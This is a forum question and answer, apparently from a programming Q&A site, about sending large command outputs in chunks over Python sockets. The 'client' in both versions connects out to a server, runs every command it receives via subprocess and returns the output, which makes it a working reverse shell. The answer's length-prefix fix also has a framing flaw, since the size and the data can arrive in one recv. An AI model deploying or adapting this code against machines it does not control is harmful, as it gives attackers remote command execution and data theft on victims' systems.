#Server
import socket
HOST = # Server IP
PORT = # Server Port
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
print("[+] Waiting for incoming connections")
s.bind((HOST, PORT))
s.listen()
conn, addr = s.accept()
print(f"[+] Connected by {addr}")
while True:
command = input(">> ")
conn.send(command.encode('utf-8'))
result = b""
while True:
data = conn.recv(4096)
if not data:
break
result += data
print(result.decode())
# Client
import socket
import subprocess
HOST = # Server IP
PORT = # Server Port
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
while True:
command = s.recv(1024).decode('utf-8')
result = subprocess.getoutput(command)
chunk_size = 4096
for i in range(0, len(result), chunk_size):
s.send(result[i:i + chunk_size].encode('utf-8'))
I tried to send result of command entered in server by chunks but can’t get any result after doing it. Before adding for loop (to send result by chunks) in the client code I was able to get result of command sent by server but I want to get large results at once couldn’t find any way to achieve this.
>Solution :
One approach is to send the length of the data before sending the data itself. This way, the receiver knows how much data to expect.
Server.py:
import socket
HOST = "your_server_ip"
PORT = your_server_port
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
print("[+] Waiting for incoming connections")
s.bind((HOST, PORT))
s.listen()
conn, addr = s.accept()
print(f"[+] Connected by {addr}")
while True:
command = input(">> ")
conn.send(command.encode('utf-8'))
result = conn.recv(1024) # Receive the data size first
data_size = int(result.decode())
result = b""
while len(result) < data_size:
data = conn.recv(4096)
if not data:
break
result += data
print(result.decode())
Client.py:
import socket
import subprocess
HOST = "your_server_ip"
PORT = your_server_port
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
while True:
command = s.recv(1024).decode('utf-8')
result = subprocess.getoutput(command)
result_size = str(len(result)).encode('utf-8')
s.send(result_size) # Send the size of the data first
chunk_size = 4096
for i in range(0, len(result), chunk_size):
s.send(result[i:i + chunk_size].encode('utf-8'))